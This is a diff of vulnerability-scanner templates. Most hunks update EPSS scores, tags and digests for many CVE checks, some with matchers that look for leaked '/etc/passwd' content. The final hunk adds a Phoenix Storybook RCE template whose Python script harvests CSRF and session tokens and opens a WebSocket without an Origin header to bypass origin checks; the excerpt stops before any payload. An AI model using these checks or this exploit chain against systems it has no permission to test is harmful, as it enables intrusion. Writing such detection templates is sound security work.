epss-percentile: 0.98492
epss-score: 0.42544
epss-percentile: 0.98629
cpe: cpe:2.3:a:tychesoftwares:abandoned_cart_lite_for_woocommerce:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
@@ -630,4 +630,4 @@ http:
- type: status
status:
- 302
# digest: 490a0046304402204d23bc6ccef12b3347fdbd3ddff22740de748e8fe21616207c13d46631915f94022044d6027dd10783cec3bfa982a825a050cb7c0f93c2bed2d5eb4e8af1e3a432ba:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402203fd697d95be248c701282fb08ebf27bf77d6293f25cbe920f35ed5f520fb1b830220565cf228f106426e9c8c981908ba9548b47efde4530220f3ff7dcbad5d388733:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -21,8 +21,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2023-49105
cwe-id: CWE-287
epss-score: 0.11074
epss-percentile: 0.95394
epss-score: 0.43205
epss-percentile: 0.9865
cpe: cpe:2.3:a:owncloud:owncloud:*:*:*:*:*:*:*:*
metadata:
max-request: 2
@@ -33,7 +33,7 @@ info:
- http.title:"owncloud"
fofa-query: title="owncloud"
google-query: intitle:"owncloud"
tags: cve,cve2023,code,owncloud,auth-bypass,vuln
tags: cve,cve2023,code,owncloud,auth-bypass,vuln,vkev,kev
variables:
username: admin
@@ -94,4 +94,4 @@ http:
- type: dsl
dsl:
- '"Username => "+ username'
# digest: 490a00463044022042a5d3d6ba444a5d13ebc2b14e726017a1a1628d159defe06f1fd784754adf4002207eaaf24acd794eef00b23fc181eed45312960ea935f5c00f5783b5675079f80e:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100f6ba600041b216323d211819b357d6370e39da1561b0141c636462e4c7e625a402207576b7882ef532667203db5b05a3c4d1041533e111bc637ffc5583b985b7dd92:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -22,7 +22,7 @@ info:
cve-id: CVE-2023-4911
cwe-id: CWE-787,CWE-122
epss-score: 0.81422
epss-percentile: 0.99594
epss-percentile: 0.99616
cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
metadata:
max-request: 1
@@ -43,4 +43,4 @@ code:
- type: word
words:
- "139" # Segmentation Fault Exit Code
# digest: 4a0a00473045022100eebfe3b3bef10d31b6567c5d98fe4ff8a29196ae0bb28b40997cb38a0ac6750202202102070abe91d318e863d75b536aeb56a24ce2adfa23f0e2170cb9a4fad316e4:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100f4bbbc7b65125879256739bbc24ecdf0f249d4f967fdf2fc89d0a704f59f0a8a02205db949f1923256b4947b621987675aa52974fb862eba4e9efe01e557d83d12a6:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -22,7 +22,7 @@ info:
cve-id: CVE-2023-6246
cwe-id: CWE-787,CWE-122
epss-score: 0.04794
epss-percentile: 0.9087
epss-percentile: 0.91448
cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
metadata:
max-request: 1
@@ -43,4 +43,4 @@ code:
- type: word
words:
- "127" # Segmentation Fault Exit Code
# digest: 4a0a004730450220159eaaa8ffa7ab7226c8015d7e96ddb3267c41b3e684a1ee2d99321f3182fbf9022100e0597ce6c9a0432c3168a1210aefa6b239b053a6b3e6a764e11e7ed807026e7d:922c64590222798bb761d5b6d8e72950
# digest: 4a0a004730450220383e01a871484cd9f5c2ee7da7a503f62279259dcfedf3fad7723ebd4ae5fff4022100a5bf4d9e41dcd80696e1c13c28a48fc84cbfaa4183e205dcae898cc348e14da2:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -17,8 +17,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2024-10443
cwe-id: CWE-77
epss-score: 0.2838
epss-percentile: 0.97889
epss-score: 0.28006
epss-percentile: 0.97996
cpe: cpe:2.3:a:synology:photos:*:*:*:*:*:diskstation_manager:*:*
metadata:
verified: true
@@ -58,4 +58,4 @@ code:
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "dns"
# digest: 4a0a0047304502207859036fd3efae7fa01fa07b35bf51d43362e12a6a70c185927e3b4751f9375e022100e79b6014d8afb56f5d2a7270963654a1992cfdc281dba772364157f3fd93b60c:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402207f57f9f9fa6aeca039c10a84872f7b52dc6010a52484f62918285501e6a18e9a02205f6e046cdba88203398afbee99c49bf24265ccd10cdb9cd7eb96444f9168fd28:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -18,7 +18,7 @@ info:
cve-id: CVE-2024-12356
cwe-id: CWE-77
epss-score: 0.87991
epss-percentile: 0.99746
epss-percentile: 0.99755
cpe: cpe:2.3:a:beyondtrust:privileged_remote_access:*:*:*:*:*:*:*:*
metadata:
vendor: beyondtrust
@@ -41,4 +41,4 @@ code:
words:
- "0 success"
- "1 try again later"
# digest: 4b0a0048304602210083c79d1d50a22879901fd6304689af4b01f5e9189138c99116c68b6810bb64ee022100b7f44a0aa7ad267068a405202a4842632130902be81b54fb4517952b052035ec:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100aef60cdbd621cdacc6af044ddca9f491d8b456f21f535262f77a07d31f3d2a7402204d2c1ae759817f653abe67e8179e96003601d86c10743f26cd3ecb09f995d3fa:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -22,7 +22,7 @@ info:
cve-id: CVE-2024-22120
cwe-id: CWE-20
epss-score: 0.76618
epss-percentile: 0.99487
epss-percentile: 0.99514
metadata:
max-request: 1
vendor: zabbix
@@ -73,4 +73,4 @@ code:
- type: word
words:
- "Vulnerable to CVE-2024-22120"
# digest: 4b0a00483046022100c902d7f86bee439e59b7b2480e16fbbf6240b8134c9edd1880769ffd79e23e43022100c956593926cefeeaeecb478bb0b1428fbc47c4b2d6ac5e036a9e34db5f029dcc:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022049f57037fff9711b800ef8de79dbcfb1e29c33be6a997800fe0e43612d61b052022100a6fc5c0523e7a8ed3d0d95c7155f7886d65581c8708d2585315a174e4f425ccc:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -22,7 +22,7 @@ info:
cve-id: CVE-2024-3094
cwe-id: CWE-506
epss-score: 0.85974
epss-percentile: 0.99702
epss-percentile: 0.99716
cpe: cpe:2.3:a:tukaani:xz:5.6.0:*:*:*:*:*:*:*
metadata:
verified: true
@@ -63,4 +63,4 @@ code:
- type: dsl
dsl:
- response
# digest: 4a0a00473045022100ffc100ac65c04f91487e3a92e982153a428d575f636e7847511d7c569e2d5d0a022001e1eaa3c0b5a529a7d2c6987c22c324b74c07e410a64fffc0a85f5150dd0a3b:922c64590222798bb761d5b6d8e72950
# digest: 4b0a0048304602210090ca1db60fddb8cc89bddfcb24bce5214b63584412d3e22d47499d138984cdaf022100f7dbb237750a41c1244fa07ac2aceee2a443ab6afb9d2662916812a4b69db244:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -14,8 +14,8 @@ info:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
cvss-score: 7.5
cve-id: CVE-2024-4340
epss-score: 0.0321
epss-percentile: 0.86643
epss-score: 0.03237
epss-percentile: 0.87598
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-4340
tags: cve,cve2024,py,code,dos,python,sqlparse,vuln
@@ -33,4 +33,4 @@ code:
part: stderr
words:
- "RecursionError: maximum recursion depth exceeded"
# digest: 4a0a00473045022100d25e4a13b66e18a70793db50686b8963280b7dc7e988a3480bea6d5700ed191e022032a5a86d1d784015c036d4cc9c56755d26cfdbd5ba7223124c81d91aa37f3d30:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402205e6db0b00e1b87355e584c2871c01148bc9fc66e46cb10d8c970372d580576ef022016dd4090376ff0e04a199ac39cf033f823d11e5f9a077d9f25c8b26e8e95e645:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -21,7 +21,7 @@ info:
cve-id: CVE-2024-45409
cwe-id: CWE-347
epss-score: 0.10684
epss-percentile: 0.95276
epss-percentile: 0.95558
metadata:
verified: true
shodan-query: http.title:"GitLab"
@@ -123,4 +123,4 @@ http:
- type: kval
kval:
- _gitlab_session
# digest: 4a0a0047304502206fa8f842163f2c409cca1ad291289aca760f9c937aa5f71b1bef63d521082192022100e5a05953d273f8d6e701f1334125461737f1656477e849d32109115c11f4c577:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402205ca45cbd51aac5cb6f80cd8224a075f238b980c39c4018671987eae8fecd2a5802204274582f2360a8e1707c9fc644605891f045fe8e4fbd65ed033dca4adee295ac:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -19,10 +19,10 @@ info:
cvss-score: 9.8
cve-id: CVE-2024-47575
cwe-id: CWE-306
epss-score: 0.94761
epss-percentile: 0.99848
epss-score: 0.9507
epss-percentile: 0.99858
cpe: cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*:*
tags: cve,cve2024,fortinet,fortimanager,kev,rce,vkev
tags: cve,cve2024,fortinet,fortimanager,kev,rce,vkev,vuln
variables:
HOST: "{{Host}}"
@@ -147,4 +147,4 @@ code:
- type: dsl
dsl:
- response
# digest: 4a0a00473045022100bed3e3eac534344fdb763ef3650cf423ad0ba9827c6bc423e77126ae52bd5816022078f4486cd95a931d57112679778f82328cc62dd2598ac4a2af264495347691a4:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100a765e28b92e569c29fe0d18de7eb20d7778ef504f17bccbc98fc6e41cb8476c3022009f664ea772843703e894493a64c05673e2c7f33bac98a99b3ce4e702608e181:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -19,8 +19,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2024-55556
cwe-id: CWE-502
epss-score: 0.4356
epss-percentile: 0.98582
epss-score: 0.44126
epss-percentile: 0.98682
metadata:
verified: true
max-request: 2
@@ -195,4 +195,4 @@ http:
- type: status
status:
- 500
# digest: 4a0a0047304502207a771388c0c447bd8a872e34fdcb4c20f7a2e794dd7e3f21eee486acb68449e7022100c62bfe32aedec00d572eaf40222eea80573c4718a6b72b3c944e29de1d0449f3:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100d53636904c479c22a0eb16f1fda64f9a87188811227c8f0e33ed371e8c8cc277022100f4750681aecceb4b6962570fe9572f96d083aedf8d9387c760bb6ff4c30c2c34:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -21,8 +21,8 @@ info:
cvss-score: 6.8
cve-id: CVE-2024-56331
cwe-id: CWE-22
epss-score: 0.01793
epss-percentile: 0.75773
epss-score: 0.01829
epss-percentile: 0.77683
metadata:
verified: true
shodan-query: http.title:"Uptime Kuma"
@@ -124,4 +124,4 @@ code:
- type: word
words:
- "/etc/passwd: {'ok': True, 'msg': 'successAdded'"
# digest: 490a00463044022058dd549617610fd70c3bef78c51b60e727f9ba8a96482936f4d5eb44d3ad3ce2022072257ae6937461320bf62848f0e8885bc06e2add58fb576e39cfabda45b5fad5:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100e8c3dfb15263ac6e3456df069725bff58245eb531cb1a4336d0d680bc1e0edb10220310b742467f4807e35b1b2037a055c5b61f7fe606462e68b0f16e02fb692f355:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -14,8 +14,8 @@ info:
- https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass
- https://github.com/advisories/GHSA-g83h-4727-5rpv
classification:
epss-score: 0.22443
epss-percentile: 0.97411
epss-score: 0.25607
epss-percentile: 0.97841
metadata:
verified: true
shodan-query: title:"GitHub Enterprise"
@@ -192,4 +192,4 @@ http:
- type: kval
kval:
- user_session
# digest: 4a0a0047304502202e72afd0230955ea7101f82008388d9b886b3c2fb3dc41ec592f3e3f14d0a83a02210096e9bd166ef3522b5cc8c16b9820ddb639cf66363c22c7811aaccb30687e75eb:922c64590222798bb761d5b6d8e72950
# digest: 4b0a004830460221008f98da61e550b996ef6bf7a868360885615703125cbd3bb45ebeb4c33f5ee5c00221009e3d739266bac0b2bab57c1f9b6a1719dd12476c0643e15c30f8791e6c13f005:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -15,11 +15,11 @@ info:
- https://github.com/keras-team/keras/pull/20751
- https://towerofhanoi.it/writeups/cve-2025-1550/
classification:
epss-score: 0.02803
epss-percentile: 0.84774
epss-score: 0.02626
epss-percentile: 0.84666
metadata:
max-request: 1
tags: cve,cve2025,code,keras,rce,ml
tags: cve,cve2025,code,keras,rce,ml,vuln
self-contained: true
@@ -77,4 +77,4 @@ code:
part: response
regex:
- "root:.*:0:0:"
# digest: 490a004630440220397b16b7852b80eff0d9833cb912c5f17137b1ca151ef9e330a544b5df96bfab0220474718d09cac82ed59bb2e36d23e7d638f5f87813fe2e52bd44c5e0c2526472c:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502200a7b6dadb9a97adbf250d1415f8b3d08b347867e6f83bb0dc0305e56877eec15022100803b863651591fbf2afa1a3473211b4fe4682753bc364817fa295a246a2d5bca:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -21,8 +21,8 @@ info:
cvss-score: 9.0
cve-id: CVE-2025-22457
cwe-id: CWE-121,CWE-787
epss-score: 0.99979
epss-percentile: 0.9998
epss-score: 0.9998
epss-percentile: 0.99981
cpe: cpe:2.3:a:ivanti:connect_secure:*:-:*:*:*:*:*:*
metadata:
vendor: ivanti
@@ -164,4 +164,4 @@ code:
- type: word
words:
- "VULNERABLE:"
# digest: 4a0a00473045022100f71fdb80c77ca24cef2f96ac08cf4cad6896dd9385dcaa60e668b360c8997c4e022040a004ffc2b7df64105151be54efe6b70cb5dba83fea11da5aa9b5edc1738f0e:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402200f3668da847605eeae99dc85fb3a5aeb636ea1e8adb7876eb02d96c2a3b5e13202206640bb129d2a07af798c950c39ef2265de47e55bbf3290cafbc67f566b09a507:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -21,8 +21,8 @@ info:
cvss-score: 9.3
cve-id: CVE-2025-25291
cwe-id: CWE-347
epss-score: 0.19506
epss-percentile: 0.97043
epss-score: 0.20586
epss-percentile: 0.97377
metadata:
verified: true
vendor: gitlab
@@ -80,4 +80,4 @@ http:
- type: kval
kval:
- _gitlab_session
# digest: 4a0a00473045022100e2c601dd7e8539fb1cd1a8d57d50bf4220717095b09e8f5129be02d8af437b69022045bb134b59416d6d526a7d108e5741aae74c2b9a5259c6dbf3b550a003fa84ee:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022016dcbfb39480cd1970c102e91d510631c45b5617c1317b1cf73983b913775e85022100b4d455bb7f627622793779bf57c512726ccb58e76fd971a6c621df2af4c830a3:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -22,8 +22,8 @@ info:
cvss-score: 10
cve-id: CVE-2025-32433
cwe-id: CWE-306
epss-score: 0.97859
epss-percentile: 0.999
epss-score: 0.98754
epss-percentile: 0.99924
metadata:
verified: true
max-request: 1
@@ -174,4 +174,4 @@ code:
dsl:
- 'contains(interactsh_protocol, "dns")'
condition: and
# digest: 490a00463044022021be3e9059264c8820581780565b16fca2ac96911af9f2c90cfe41d5efa21d01022046d1be1a59699ebe8ad15c0ead0bbd72fbc528d106d41a32e27412a85972985d:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402204d303a4171a1b80848569b6dc16dcfc16c4f760eb9750b979b642445b439f17c02207eb37e877515bb012364380f7dc0bd4c83b90c7961e3f6bdd878fb212b141d65:922c64590222798bb761d5b6d8e72950
+4 -3
View File
@@ -18,8 +18,8 @@ info:
- https://explore.alas.aws.amazon.com/CVE-2025-32463.html
classification:
cve-id: CVE-2025-32463
epss-score: 0.47467
epss-percentile: 0.98699
epss-score: 0.59417
epss-percentile: 0.99069
cvss-score: 9.3
cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cwe-id: CWE-426
@@ -44,6 +44,7 @@ code:
words:
- "root"
negative: true
internal: true
- engine:
- sh
@@ -64,4 +65,4 @@ code:
- "!contains(tolower(response), 'password')"
- "!contains(tolower(response), 'a password is required')"
- "!contains(tolower(response), 'is not in the sudoers file')"
# digest: 490a004630440220136e0b750d94d77ac44ebd9c17cc4b63caefb98466cd8cfaf60285a02339b91c0220283634be0c9a783f5ed4b917983d4e860fc588e568f3b876e4cc5832c75e337c:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502206cf5e1e610512ba89f3e65ca6aec4015be2ed92a518740cf6ad59fab17dd5c32022100d59dce7b80684589f8c04d2d14f5ace0df8d8df0f3005cc3a660b5239cb4ac70:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -17,8 +17,8 @@ info:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-54309
epss-score: 0.92034
epss-percentile: 0.99807
epss-score: 0.94709
epss-percentile: 0.99853
cwe-id: CWE-287,CWE-362
cpe: cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*:*
metadata:
@@ -200,4 +200,4 @@ code:
- type: word
words:
- "VULNERABLE:"
# digest: 4b0a00483046022100e8682f6eb18cc49cd7ed9946e1e0df3225844789666f622234e0b55ce31f1ded022100fc067931b6b02b90f0d072f19a5e3a400dfb0a842bdedb8cd71da31370ce3cc1:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100f9afca4438011fbb2fa02bd84d9c50815109c4ed9c40af81375006696675f52e022041d5c60e3c58574d1aad65be5f47eb9554cb93bac908d462a52fe84ea93f7c4d:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -15,8 +15,8 @@ info:
- https://alltena.com/en/resources/release-notes/release-notes-for-release-8-1-4-and-release-7-5-2
- https://nvd.nist.gov/vuln/detail/CVE-2025-6216
classification:
epss-score: 0.29434
epss-percentile: 0.97955
epss-score: 0.38527
epss-percentile: 0.9849
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-6216
@@ -115,4 +115,4 @@ code:
- type: dsl # type of the extractor
dsl:
- '"Reset URL: " + code_response'
# digest: 4b0a004830460221009563513650966d7597d5c8a5a46d49fcc84fef8e698e57b330209c7771a59eb2022100d88d01c549b914a0710335ce592d29c7af52323cd856699f6780c90afc140b37:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100810f031f1026d014f7f03b8a3bed771d360c6f1dc08c4e29abdc6ec899fb55010220207eb0bd36df214e26dc06e513a109748ebf8b20ab432ffa0b712505d9df9f36:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -17,15 +17,15 @@ info:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-68926
epss-score: 0.2903
epss-percentile: 0.9793
epss-score: 0.31138
epss-percentile: 0.98169
cwe-id: CWE-798
metadata:
verified: true
max-request: 1
vendor: rustfs
product: rustfs
tags: cve,cve2025,rustfs,grpc,auth-bypass,code
tags: cve,cve2025,rustfs,grpc,auth-bypass,code,vuln
variables:
HOST: "{{Host}}"
+3 -3
View File
@@ -18,8 +18,8 @@ info:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2025-6984
epss-score: 0.01531
epss-percentile: 0.71736
epss-score: 0.01647
epss-percentile: 0.75186
cwe-id: CWE-200
metadata:
verified: true
@@ -64,4 +64,4 @@ code:
- "bin:"
- "daemon:"
condition: or
# digest: 4b0a00483046022100b09735eee11bf2f17bfa345f0063b39ae6aa19e66bf2bc5fb1daefffced2bcd3022100a9c2a04c4d2d7a5beee4a942bcf043c172b2c2f2a5b4fb55dc326a0ee36dcd98:922c64590222798bb761d5b6d8e72950
# digest: 4b0a004830460221008e30ffc6fca2f142ec17d2a3a81fb904c40789edbef67258901acea8e364ecab02210093dcc305b2d9f56b4f2c6778afd8c78b7b0e94ef67987262bbb94a24c5f06929:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -18,13 +18,13 @@ info:
cvss-score: 9.8
cve-id: CVE-2025-9242
cwe-id: CWE-787,CWE-362
epss-score: 0.8637
epss-percentile: 0.99709
epss-score: 0.913
epss-percentile: 0.99804
cpe: cpe:2.3:a:watchguard:fireware_os:*:*:*:*:*:*:*:*
metadata:
verified: true
shodan-query: html:"Watchguard" html:"Authentication Server"
tags: cve,cve2025,watchguard,ikev2,rce,passive,vpn,kev,vkev
tags: cve,cve2025,watchguard,ikev2,rce,passive,vpn,kev,vkev,vuln
variables:
HOST: "{{Host}}"
@@ -552,4 +552,4 @@ code:
- type: dsl
dsl:
- response
# digest: 4a0a0047304502207c5ec28507f297a730ae76ad5a6b684be07faadc08f975366ca089b08c207a630221008561c1d8f9122d261eb8d36e7a7343f7a89fb8881769d1027bb4ea62bc10cea7:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100ded6b7453a1975e10df24096eebdfae92a0ecfebb12b3d98a3ab0f043b61dfc9022100b278c9c466720c2e3185c404e889334909b6e342945347048896a7a4dc931cf3:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -19,7 +19,7 @@ info:
cvss-score: 8.1
cve-id: CVE-2026-10795
epss-score: 0.03578
epss-percentile: 0.88
epss-percentile: 0.88756
cwe-id: CWE-347
metadata:
max-request: 2
@@ -85,4 +85,4 @@ http:
- 'status_code == 200'
- 'contains(body, "\"udrpc_message\":\"")'
condition: and
# digest: 4a0a00473045022100a881b582fed632f80412c76035e841db6494221b4f102f999bad2faddc3da3fb02204c4daa0834d7e0f354be0bab3c44eceafe0a2bd76d77e86fa6fcdd94188ae214:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100d8b2e3514a5dd70a311a616b6c63f8b3acf9ca7ba70f08e4e9f4eac0793ac5040220659328fd7fc625fa9d5621d939c3afd75ecd7ea2353313db5d90e3690434bd04:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -19,8 +19,8 @@ info:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cve-id: CVE-2026-20182
epss-score: 0.87693
epss-percentile: 0.99738
epss-score: 0.91522
epss-percentile: 0.99807
cwe-id: CWE-287
cpe: cpe:2.3:a:cisco:catalyst_sd-wan_controller:*:*:*:*:*:*:*:*
metadata:
@@ -272,4 +272,4 @@ code:
- type: word
words:
- "VULNERABLE:"
# digest: 4a0a004730450220127e8b7b1bd730a8383479424cc229fed8fac958ae28c20c10d456bf9d083e38022100c4851e5ca05359bac2cd2824c20fb649a60295365f456fb3b4bbd7025a24d7b4:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100d133948eb8880b7a11d345078321a10002fedc73da6aaac7f1643f8abbedb9bf022100c25b09f167981b0e70b5b60d522ce26be0b0a2bee8e50c9d25d22d8e3ef3e21b:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -17,8 +17,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2026-24061
cwe-id: CWE-88
epss-score: 0.98871
epss-percentile: 0.99921
epss-score: 0.97993
epss-percentile: 0.99907
metadata:
verified: true
max-request: 1
@@ -26,7 +26,7 @@ info:
product: inetutils
shodan-query: port:23 telnet
fofa-query: port="23" && protocol="telnet"
tags: cve,cve2026,telnet,auth-bypass,rce,code,kev,vkev
tags: cve,cve2026,telnet,auth-bypass,rce,code,kev,vkev,vuln
code:
- engine:
@@ -49,4 +49,4 @@ code:
- "Last login"
- "Debian"
condition: and
# digest: 4a0a00473045022011e8f400bf49429ac73ecf3a1f1dc2817f6fadacdcb9261415593da1ae6601b6022100c8f61b1763bb1cabbc7fbeba9931e06ff1ea95b16f402f17db5554e63740b0c2:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100f6537f3e9ee71008bde8f7689629fce535f4f6278d7c8fc800975db33f4174fb022100916576fb62b836dd30130a57b5a26ddfb0562c433ee696d60dab8f7a9a866dfd:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -19,8 +19,8 @@ info:
cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.8
cve-id: CVE-2026-31431
epss-score: 0.96267
epss-percentile: 0.9987
epss-score: 0.99907
epss-percentile: 0.99965
cwe-id: CWE-787
cpe: cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*
metadata:
@@ -139,4 +139,4 @@ code:
part: response
regex:
- 'VULNERABLE:.*'
# digest: 4a0a00473045022100e058f2d5f55fad7a3fb789ff8f71e2fd5aa4ca8c22c1322f282bf8b2e00f6bf202204f95658677e444614a29df15e5f9a0d0d33bd6a0be8bcdc67189762700ed4455:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100ab8ef8ac39e5aded6f7fad66c0de3e46e3ad7a47076fabeff7b990c48e6edf980221008f5fd489a06fb765a79e1bd450c05467cc926d9dfb65316f8bb595285e9223a8:922c64590222798bb761d5b6d8e72950
+279
View File
@@ -0,0 +1,279 @@
id: CVE-2026-8467
info:
name: Phoenix Storybook - Remote Code Execution
author: 0x_Akoko
severity: critical
description: |
Phenixdigital phoenix_storybook >=0.5.0 <1.1.0 contains a code injection caused by unsanitized attribute value interpolation in HEEx template generation, letting unauthenticated remote attackers execute arbitrary code on the server, exploit requires sending crafted WebSocket event data.
impact: |
Unauthenticated attackers can execute arbitrary code on the server, leading to full system compromise.
remediation: |
Upgrade to version 1.1.0 or later.
reference:
- https://github.com/plausible/analytics/security/advisories
- https://github.com/plausible/analytics
- https://nvd.nist.gov/vuln/detail/CVE-2026-8467
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-8467
epss-score: 0.02111
epss-percentile: 0.80798
cwe-id: CWE-94
metadata:
verified: true
max-request: 3
shodan-query: http.favicon.hash:829712541
fofa-query: icon_hash=="829712541"
tags: cve,cve2026,rce,plausible,phoenix,storybook,heex
code:
- engine:
- py
- python3
source: |
import sys, re, json, ssl, socket, struct, base64, os, time
import http.cookiejar, urllib.request, urllib.parse, urllib.error
target = sys.stdin.read().strip()
if not target:
print("ERROR: No target")
sys.exit(1)
target = target.rstrip("/")
if not target.startswith("http"):
target = "http://" + target
is_https = target.startswith("https://")
ssl_ctx = ssl.create_default_context()
ssl_ctx.check_hostname = False
ssl_ctx.verify_mode = ssl.CERT_NONE
storybook_url = target + "/storybook/iframe/button?playground=true&variation_id=default&topic=pwn"
# Step 1: Fetch storybook page
try:
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj), urllib.request.HTTPSHandler(context=ssl_ctx))
req = urllib.request.Request(storybook_url, headers={"User-Agent": "Mozilla/5.0"})
resp = opener.open(req, timeout=15)
body = resp.read().decode("utf-8", errors="replace")
except Exception as e:
print("NOT_VULNERABLE: Connection failed - " + str(e))
sys.exit(0)
if resp.getcode() != 200 or "data-phx-session" not in body:
print("NOT_VULNERABLE: Storybook not exposed (HTTP " + str(resp.getcode()) + ")")
sys.exit(0)
# Step 2: Extract tokens
csrf_m = re.search(r'content="([^"]+)"\s+name="csrf-token"', body) or re.search(r'name="csrf-token"\s+content="([^"]+)"', body)
if not csrf_m:
print("NOT_VULNERABLE: No CSRF token")
sys.exit(0)
csrf = csrf_m.group(1)
cookie_str = "; ".join(c.name + "=" + c.value for c in cj)
phx_id_m = re.search(r'id="phx-([^"]+)"', body)
if not phx_id_m:
print("NOT_VULNERABLE: No PHX ID")
sys.exit(0)
phx_id = phx_id_m.group(1)
sessions = re.findall(r'data-phx-session="([^"]+)"', body)
statics = re.findall(r'data-phx-static="([^"]+)"', body)
if not sessions or not statics:
print("NOT_VULNERABLE: No session tokens")
sys.exit(0)
parent_session = sessions[0]
parent_static = statics[0]
child_static = statics[1] if len(statics) > 1 else statics[0]
# Step 3: Raw WebSocket connection (NO Origin header - bypasses Phoenix check_origin)
host_with_port = target.split("://", 1)[1]
parts = host_with_port.split(":")
ws_host = parts[0]
ws_port = int(parts[1]) if len(parts) > 1 else (443 if is_https else 80)
csrf_enc = urllib.parse.quote(csrf, safe="")
ws_path = "/live/websocket?_csrf_token=" + csrf_enc + "&_track_static%5B0%5D=&_mounts=0&vsn=2.0.0"
try:
sock = socket.create_connection((ws_host, ws_port), timeout=15)
if is_https:
sock = ssl_ctx.wrap_socket(sock, server_hostname=ws_host)
ws_key = base64.b64encode(os.urandom(16)).decode()
handshake = "GET " + ws_path + " HTTP/1.1\r\nHost: " + host_with_port + "\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: " + ws_key + "\r\nSec-WebSocket-Version: 13\r\nCookie: " + cookie_str + "\r\nUser-Agent: Mozilla/5.0\r\n\r\n"
sock.sendall(handshake.encode())
resp_data = b""
while b"\r\n\r\n" not in resp_data:
chunk = sock.recv(4096)
if not chunk:
break
resp_data += chunk
if b"101" not in resp_data.split(b"\r\n")[0]:
print("NOT_VULNERABLE: WebSocket upgrade failed")
sys.exit(0)
except Exception as e:
print("NOT_VULNERABLE: WebSocket connection failed - " + str(e))
sys.exit(0)
def ws_send(sock, data):
payload = data.encode("utf-8")
frame = bytearray([0x81])
mask_key = os.urandom(4)
ln = len(payload)
if ln < 126:
frame.append(0x80 | ln)
elif ln < 65536:
frame.append(0x80 | 126)
